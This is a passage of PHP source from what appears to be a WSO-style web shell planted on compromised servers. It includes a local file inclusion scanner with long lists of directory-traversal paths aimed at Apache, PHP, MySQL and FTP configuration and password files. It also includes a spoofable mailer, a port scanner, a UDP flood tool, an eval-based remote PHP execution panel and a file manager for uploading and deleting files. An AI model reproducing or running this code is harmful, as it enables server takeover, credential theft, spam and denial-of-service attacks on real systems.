1127 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
1128
1129 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
1130
1131 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
1132
1133 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
1134
1135 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
1136
1137 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
1138
1139 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
1140
1141 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
1142
1143 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
1144
1145 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
1146
1147 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
1148
1149 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
1150
1151 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
1152
1153 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
1154
1155 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
1156
1157 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
1158
1159 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
1160
1161 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
1162
1163 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
1164
1165 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
1166
1167 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
1168
1169 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
1170
1171 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
1172
1173 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
1174
1175 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
1176
1177 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
1178
1179 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
1180
1181 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
1182
1183 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
1184
1185 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
1186
1187 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
1188
1189 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
1190
1191 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
1192
1193 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
1194
1195 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
1196
1197
1198
1199 $lfiphpini = array(
1200
1201 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
1202
1203 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
1204
1205 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
1206
1207 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
1208
1209 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
1210
1211 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
1212
1213 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
1214
1215 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
1216
1217 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
1218
1219 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
1220
1221 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
1222
1223 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
1224
1225 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
1226
1227 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
1228
1229 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
1230
1231 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
1232
1233 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
1234
1235 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
1236
1237 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
1238
1239 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
1240
1241 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
1242
1243 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
1244
1245 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
1246
1247 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
1248
1249 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
1250
1251 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
1252
1253 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
1254
1255
1256
1257 $lfimysql = array(
1258
1259 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
1260
1261 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
1262
1263 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
1264
1265 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
1266
1267 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
1268
1269 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
1270
1271 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
1272
1273 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
1274
1275 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
1276
1277 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
1278
1279
1280
1281 $lfiftp = array(
1282
1283 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
1284
1285 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
1286
1287 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
1288
1289 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
1290
1291 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
1292
1293 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
1294
1295 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
1296
1297 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
1298
1299 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
1300
1301 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
1302
1303 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
1304
1305 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
1306
1307 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
1308
1309 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
1310
1311 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
1312
1313 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
1314
1315 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
1316
1317 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
1318
1319 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
1320
1321 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
1322
1323 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
1324
1325 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
1326
1327 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
1328
1329 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
1330
1331 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
1332
1333 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
1334
1335 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
1336
1337 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
1338
1339 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
1340
1341 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
1342
1343 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
1344
1345 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
1346
1347 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
1348
1349 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
1350
1351 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
1352
1353 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
1354
1355 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
1356
1357 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
1358
1359 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
1360
1361 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
1362
1363 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
1364
1365 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
1366
1367 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
1368
1369 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
1370
1371
1372
1373
1374
1375 $x = 1;
1376
1377 if ( $type == 1 ) {
1378
1379 $res1 = FetchURL($target.$lfitest);
1380
1381 $res2 = FetchURL($target.$lfitest2);
1382
1383 $rhash1 = md5($res1);
1384
1385 $rhash2 = md5($res2);
1386
1387 if ($rhash1 != $rhash2) {
1388
1389 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1390
1391 while($lfiaccess[$x]) {
1392
1393 $res3 = FetchURL($target.$lfiaccess[$x]);
1394
1395 $rhash3 = md5($res3);
1396
1397 if ($rhash3 != $rhash2) {
1398
1399 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
1400
1401 }
1402
1403 else {
1404
1405 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
1406
1407 }
1408
1409 $x++;
1410
1411 }
1412
1413 }
1414
1415 }
1416
1417 if ( $type == 2 ) {
1418
1419 $res1 = FetchURL($target.$lfitest);
1420
1421 $res2 = FetchURL($target.$lfitest2);
1422
1423 $rhash1 = md5($res1);
1424
1425 $rhash2 = md5($res2);
1426
1427 if ($rhash1 != $rhash2) {
1428
1429 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1430
1431 while($lficonfig[$x]) {
1432
1433 $res3 = FetchURL($target.$lficonfig[$x]);
1434
1435 $rhash3 = md5($res3);
1436
1437 if ($rhash3 != $rhash2) {
1438
1439 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
1440
1441 }
1442
1443 else {
1444
1445 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
1446
1447 }
1448
1449 $x++;
1450
1451 }
1452
1453 }
1454
1455 }
1456
1457 if ( $type == 3 ) {
1458
1459 $res1 = FetchURL($target.$lfitest);
1460
1461 $res2 = FetchURL($target.$lfitest2);
1462
1463 $rhash1 = md5($res1);
1464
1465 $rhash2 = md5($res2);
1466
1467 if ($rhash1 != $rhash2) {
1468
1469 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1470
1471 while($lfierror[$x]) {
1472
1473 $res3 = FetchURL($target.$lfierror[$x]);
1474
1475 $rhash3 = md5($res3);
1476
1477 if ($rhash3 != $rhash2) {
1478
1479 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
1480
1481 }
1482
1483 else {
1484
1485 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
1486
1487 }
1488
1489 $x++;
1490
1491 }
1492
1493 }
1494
1495 }
1496
1497 if ( $type == 4 ) {
1498
1499 $res1 = FetchURL($target.$lfitest);
1500
1501 $res2 = FetchURL($target.$lfitest2);
1502
1503 $rhash1 = md5($res1);
1504
1505 $rhash2 = md5($res2);
1506
1507 if ($rhash1 != $rhash2) {
1508
1509 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1510
1511 while($lfiphpini[$x]) {
1512
1513 $res3 = FetchURL($target.$lfiphpini[$x]);
1514
1515 $rhash3 = md5($res3);
1516
1517 if ($rhash3 != $rhash2) {
1518
1519 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
1520
1521 }
1522
1523 else {
1524
1525 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
1526
1527 }
1528
1529 $x++;
1530
1531 }
1532
1533 }
1534
1535 }
1536
1537 if ( $type == 5 ) {
1538
1539 $res1 = FetchURL($target.$lfitest);
1540
1541 $res2 = FetchURL($target.$lfitest2);
1542
1543 $rhash1 = md5($res1);
1544
1545 $rhash2 = md5($res2);
1546
1547 if ($rhash1 != $rhash2) {
1548
1549 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1550
1551 while($lfimysql[$x]) {
1552
1553 $res3 = FetchURL($target.$lfimysql[$x]);
1554
1555 $rhash3 = md5($res3);
1556
1557 if ($rhash3 != $rhash2) {
1558
1559 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
1560
1561 }
1562
1563 else {
1564
1565 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
1566
1567 }
1568
1569 $x++;
1570
1571 }
1572
1573 }
1574
1575 }
1576
1577 if ( $type == 6 ) {
1578
1579 $res1 = FetchURL($target.$lfitest);
1580
1581 $res2 = FetchURL($target.$lfitest2);
1582
1583 $rhash1 = md5($res1);
1584
1585 $rhash2 = md5($res2);
1586
1587 if ($rhash1 != $rhash2) {
1588
1589 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1590
1591 while($lfiftp[$x]) {
1592
1593 $res3 = FetchURL($target.$lfiftp[$x]);
1594
1595 $rhash3 = md5($res3);
1596
1597 if ($rhash3 != $rhash2) {
1598
1599 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
1600
1601 }
1602
1603 else {
1604
1605 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
1606
1607 }
1608
1609 $x++;
1610
1611 }
1612
1613 }
1614
1615 }
1616
1617if ( $type == 7 ) {
1618
1619 $res1 = FetchURL($target.$lfitest);
1620
1621 $res2 = FetchURL($target.$lfitest2);
1622
1623 $rhash1 = md5($res1);
1624
1625 $rhash2 = md5($res2);
1626
1627 if ($rhash1 != $rhash2) {
1628
1629 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
1630
1631 $res3 = FetchURL($target.$lfiprocenv);
1632
1633 $rhash3 = md5($res3);
1634
1635 if ($rhash3 != $rhash2) {
1636
1637 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
1638
1639 }
1640
1641 else {
1642
1643 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
1644
1645 }
1646
1647 }
1648
1649 }
1650
1651 }
1652
1653 }
1654
1655wsoFooter();
1656
1657}
1658
1659function actionphptools() {
1660
1661wsoHeader();
1662
1663?><center><?php
1664
1665//mailer
1666
1667echo '<b>Mailer</b><br>
1668
1669<form action="'.$surl.'" method=POST>
1670
1671<input type="hidden" name="a" value="phptools">
1672
1673<input type=text name=to value=to><br>
1674
1675<input type=text name=from value=from><br>
1676
1677<input type=text name=subject value=subject><br>
1678
1679<input type=text name=body value=body><br>
1680
1681<input type=submit name=submit value=Submit></form>';
1682
1683if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
1684
1685 $headers = 'From: '.$_POST['from'];
1686
1687 mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
1688
1689 echo 'Email sent.';
1690
1691}
1692
1693
1694
1695//port scanner
1696
1697echo '<br><b>Port Scanner</b><br>';
1698
1699$start = strip_tags($_POST['start']);
1700
1701$end = strip_tags($_POST['end']);
1702
1703$host = strip_tags($_POST['host']);
1704
1705
1706
1707if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1708
1709for($i = $start; $i<=$end; $i++){
1710
1711 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1712
1713 if($fp){
1714
1715 echo 'Port '.$i.' is <font color=green>open</font><br>';
1716
1717 }
1718
1719 flush();
1720
1721 }
1722
1723}else{
1724
1725?>
1726
1727<form action="?" method="POST">
1728
1729<input type="hidden" name="a" value="phptools">
1730
1731Host:<br />
1732
1733<input type="text" name="host" value="localhost"/><br />
1734
1735Port start:<br />
1736
1737<input type="text" name="start" value="0"/><br />
1738
1739Port end:<br />
1740
1741<input type="text" name="end" value="5000"/><br />
1742
1743<input type="submit" value="Scan Ports" />
1744
1745</form>
1746
1747<?php
1748
1749}
1750
1751
1752
1753//UDP
1754
1755if(isset($_POST['host'])&&is_numeric($_POST['time'])){
1756
1757 $pakits = 0;
1758
1759 ignore_user_abort(TRUE);
1760
1761 set_time_limit(0);
1762
1763
1764
1765 $exec_time = $_POST['time'];
1766
1767
1768
1769 $time = time();
1770
1771 //print "Started: ".time('h:i:s')."<br>";
1772
1773 $max_time = $time+$exec_time;
1774
1775
1776
1777 $host = $_POST['host'];
1778
1779
1780
1781 for($i=0;$i<65000;$i++){
1782
1783 $out .= 'X';
1784
1785 }
1786
1787 while(1){
1788
1789 $pakits++;
1790
1791 if(time() > $max_time){
1792
1793 break;
1794
1795 }
1796
1797 $rand = rand(1,65000);
1798
1799 $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
1800
1801 if($fp){
1802
1803 fwrite($fp, $out);
1804
1805 fclose($fp);
1806
1807 }
1808
1809 }
1810
1811 echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
1812
1813 echo '<br><br>
1814
1815 <form action="'.$surl.'" method=POST>
1816
1817 <input type="hidden" name="a" value="phptools">
1818
1819 Host: <input type=text name=host value=localhost>
1820
1821 Length (seconds): <input type=text name=time value=9999>
1822
1823 <input type=submit value=Go></form>';
1824
1825}else{ echo '<br><b>UDP Flood</b><br>
1826
1827 <form action=? method=POST>
1828
1829 <input type="hidden" name="a" value="phptools">
1830
1831 Host: <br><input type=text name=host value=localhost><br>
1832
1833 Length (seconds): <br><input type=text name=time value=9999><br>
1834
1835 <input type=submit value=Go></form>';
1836
1837}
1838
1839?></center><?php
1840
1841wsoFooter();}
1842
1843function actionPhp() {
1844
1845 if(isset($_POST['ajax'])) {
1846
1847 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
1848
1849 ob_start();
1850
1851 eval($_POST['p1']);
1852
1853 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
1854
1855 echo strlen($temp), "\n", $temp;
1856
1857 exit;
1858
1859 }
1860
1861 wsoHeader();
1862
1863 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
1864
1865 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
1866
1867 ob_start();
1868
1869 phpinfo();
1870
1871 $tmp = ob_get_clean();
1872
1873 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
1874
1875 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
1876
1877 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
1878
1879 }
1880
1881 if(empty($_POST['ajax']) && !empty($_POST['p1']))
1882
1883 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
1884
1885 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
1886
1887 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
1888
1889 if(!empty($_POST['p1'])) {
1890
1891 ob_start();
1892
1893 eval($_POST['p1']);
1894
1895 echo htmlspecialchars(ob_get_clean());
1896
1897 }
1898
1899 echo '</pre></div>';
1900
1901 wsoFooter();
1902
1903}
1904
1905
1906
1907function actionFilesMan() {
1908
1909 wsoHeader();
1910
1911 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
1912
1913 if(!empty($_POST['p1'])) {
1914
1915 switch($_POST['p1']) {
1916
1917 case 'uploadFile':
1918
1919 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1920
1921 echo "Can't upload file!";
1922
1923 break;
1924
1925 case 'mkdir':
1926
1927 if(!@mkdir($_POST['p2']))
1928
1929 echo "Can't create new dir";
1930
1931 break;
1932
1933 case 'delete':
1934
1935 function deleteDir($path) {
1936
1937 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1938
1939 $dh = opendir($path);
1940
1941 while ( ($item = readdir($dh) ) !== false) {
1942
1943 $item = $path.$item;
1944
1945 if ( (basename($item) == "..") || (basename($item) == ".") )
1946
1947 continue;
1948
1949 $type = filetype($item);
1950
1951 if ($type == "dir")
1952
1953 deleteDir($item);
1954
1955 else
1956
1957 @unlink($item);
1958
1959 }
1960
1961 closedir($dh);
1962
1963 @rmdir($path);
1964
1965 }
1966
1967 if(is_array(@$_POST['f']))
1968
1969 foreach($_POST['f'] as $f) {
1970
1971 if($f == '..')
1972
1973 continue;
1974
1975 $f = urldecode($f);
1976
1977 if(is_dir($f))
1978
1979 deleteDir($f);
1980
1981 else
1982
1983 @unlink($f);
1984
1985 }
1986
1987 break;
1988
1989 case 'paste':
1990
1991 if($_SESSION['act'] == 'copy') {
1992
1993 function copy_paste($c,$s,$d){
1994
1995 if(is_dir($c.$s)){
1996
1997 mkdir($d.$s);
1998
1999 $h = @opendir($c.$s);
2000
2001 while (($f = @readdir($h)) !== false)
2002
2003 if (($f != ".") and ($f != ".."))
2004
2005 copy_paste($c.$s.'/',$f, $d.$s.'/');
2006
2007 } elseif(is_file($c.$s))
2008
2009 @copy($c.$s, $d.$s);
2010
2011 }
2012
2013 foreach($_SESSION['f'] as $f)
2014
2015 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
2016
2017 } elseif($_SESSION['act'] == 'move') {
2018
2019 function move_paste($c,$s,$d){
2020
2021 if(is_dir($c.$s)){
2022
2023 mkdir($d.$s);
2024
2025 $h = @opendir($c.$s);
2026
2027 while (($f = @readdir($h)) !== false)
2028
2029 if (($f != ".") and ($f != ".."))
2030
2031 copy_paste($c.$s.'/',$f, $d.$s.'/');
2032
2033 } elseif(@is_file($c.$s))
2034
2035 @copy($c.$s, $d.$s);
2036
2037 }
2038
2039 foreach($_SESSION['f'] as $f)
2040
2041 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
2042
2043 } elseif($_SESSION['act'] == 'zip') {
2044
2045 if(class_exists('ZipArchive')) {
2046
2047 $zip = new ZipArchive();
2048
2049 if ($zip->open($_POST['p2'], 1)) {
2050
2051 chdir($_SESSION['c']);
2052
2053 foreach($_SESSION['f'] as $f) {
2054
2055 if($f == '..')
2056
2057 continue;
2058
2059 if(@is_file($_SESSION['c'].$f))
2060
2061 $zip->addFile($_SESSION['c'].$f, $f);
2062
2063 elseif(@is_dir($_SESSION['c'].$f)) {
2064
2065 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
2066
2067 foreach ($iterator as $key=>$value) {
2068
2069 $zip->addFile(realpath($key), $key);
2070
2071 }
2072
2073 }
2074
2075 }
2076
2077 chdir($GLOBALS['cwd']);
2078
2079 $zip->close();
2080
2081 }
2082
2083 }
2084
2085 } elseif($_SESSION['act'] == 'unzip') {
2086
2087 if(class_exists('ZipArchive')) {
2088
2089 $zip = new ZipArchive();
2090
2091 foreach($_SESSION['f'] as $f) {
2092
2093 if($zip->open($_SESSION['c'].$f)) {
2094
2095 $zip->extractTo($GLOBALS['cwd']);
2096
2097 $zip->close();
2098
2099 }
2100
2101 }
2102
2103 }
2104
2105 } elseif($_SESSION['act'] == 'tar') {
2106
2107 chdir($_SESSION['c']);
2108
2109 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
2110
2111 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
2112
2113 chdir($GLOBALS['cwd']);
2114
2115 }
2116
2117 unset($_SESSION['f']);
2118
2119 break;
2120
2121 default:
2122
2123 if(!empty($_POST['p1'])) {
2124
2125 $_SESSION['act'] = @$_POST['p1'];
2126
2127 $_SESSION['f'] = @$_POST['f'];
2128
2129 foreach($_SESSION['f'] as $k => $f)
2130
2131 $_SESSION['f'][$k] = urldecode($f);
2132
2133 $_SESSION['c'] = @$_POST['c'];
2134
2135 }
2136
2137 break;
2138
2139 }
2140
2141 }
2142
2143 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
2144
2145 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
2146
2147 global $sort;
2148
2149 $sort = array('name', 1);
2150
2151 if(!empty($_POST['p1'])) {
2152
2153 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
2154
2155 $sort = array($match[1], (int)$match[2]);
2156
2157 }
2158
2159echo "<script>
2160
2161 function sa() {
2162
2163 for(i=0;i<d.files.elements.length;i++)
2164
2165 if(d.files.elements[i].type == 'checkbox')
2166
2167 d.files.elements[i].checked = d.files.elements[0].checked;
2168
2169 }
2170
2171
2172
2173</script>
2174
2175<table width='100%' class='main' cellspacing='0' cellpadding='2'>
2176
2177<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
2178
2179 $dirs = $files = array();
2180
2181 $n = count($dirContent);
2182
2183 for($i=0;$i<$n;$i++) {
2184
2185 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
2186
2187 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
2188
2189 $tmp = array('name' => $dirContent[$i],
2190
2191 'path' => $GLOBALS['cwd'].$dirContent[$i],
2192
2193 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
2194
